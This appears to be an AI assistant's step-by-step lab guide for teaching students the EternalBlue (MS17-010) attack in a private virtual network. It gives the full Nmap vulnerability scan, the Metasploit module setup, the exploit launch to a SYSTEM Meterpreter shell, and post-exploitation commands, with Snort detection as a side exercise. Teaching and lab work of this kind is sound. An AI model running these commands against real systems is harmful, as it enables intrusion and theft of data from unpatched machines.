

Understood. Let's build the complete **Attack Life Cycle** demonstration for your students, starting from the initial reconnaissance (Nmap) and ending with the successful system compromise (Metasploit).

Phase 1: Reconnaissance & Vulnerability Scanning

In this phase, we use **Nmap** to identify the open ports and specifically check if the SMB service is vulnerable to the EternalBlue exploit.

1. **Open the Terminal** in your Kali VM.
 2. **Run the Nmap Scan:** Type the following command to target the Windows 7 machine (\$10.0.0.10\$):
Bash
nmap -p445 --script smb-vuln-ms17-010 10.0.0.10
 3. **Analyze the Output:** * Point out the State: VULNERABLE block to the students.
 - Highlight the **Risk Factor: High** and the **Remote Code Execution** description. This confirms we have a viable target.
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Phase 2: Exploitation with Metasploit

Now that we have confirmed the "locked door" is actually "unlocked," we use the Metasploit Framework to gain access.

1. Launch Metasploit

Type the following in your terminal:

```
Bash
msfconsole
```

2. Load the EternalBlue Module

Search for and select the specific exploit for MS17-010:

```
Bash
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
```

3. Configure the Variables (LHOST & RHOST)

We must tell Metasploit who the victim is and where to "send back" the connection.

- **Set the Victim (Windows 7):**

```
Bash
set RHOSTS 10.0.0.10
```

- **Set the Attacker (Kali's Internal IP):**

Bash

`set LHOST 10.0.0.12`

- **Verify Settings:** Type show options to display the configuration table to the class. Ensure Required fields are filled.
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Phase 3: Launching the Attack

Now, we execute the buffer overflow attack to gain a **Meterpreter** shell.

1. **Execute:** Type exploit or run.
 2. **Observe the Output:** * You will see Metasploit "grooming the pool" (preparing the Windows memory).
- Watch for the message: WIN!, followed by Meterpreter session 1 opened.
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Phase 4: Post-Exploitation (Proof of Concept)

Once you see the meterpreter > prompt, you are inside the Windows 7 system with the highest possible privileges (**SYSTEM**). Show the students these "Victory" commands:

Command	Action	Purpose for Students
getuid	Displays the current user	Shows you are NT AUTHORITY\SYSTEM
sysinfo	Displays OS details	Proves you are controlling the Windows 7 VM
screenshot	Takes a photo of the desktop	Visual proof of total privacy invasion
shell	Drops into a Windows CMD	Allows running native Windows commands

Pro-Tip for the Demo

While the exploit is running, keep an eye on your **Ubuntu Snort VM**. Since you set Kali's interface to **Promiscuous Mode (Allow All)**, Snort should be able to "hear" the malicious packets passing through the virtual switch.

Would you like me to provide the specific Snort rule to detect this exact Nmap scan or the MS17-010 exploit?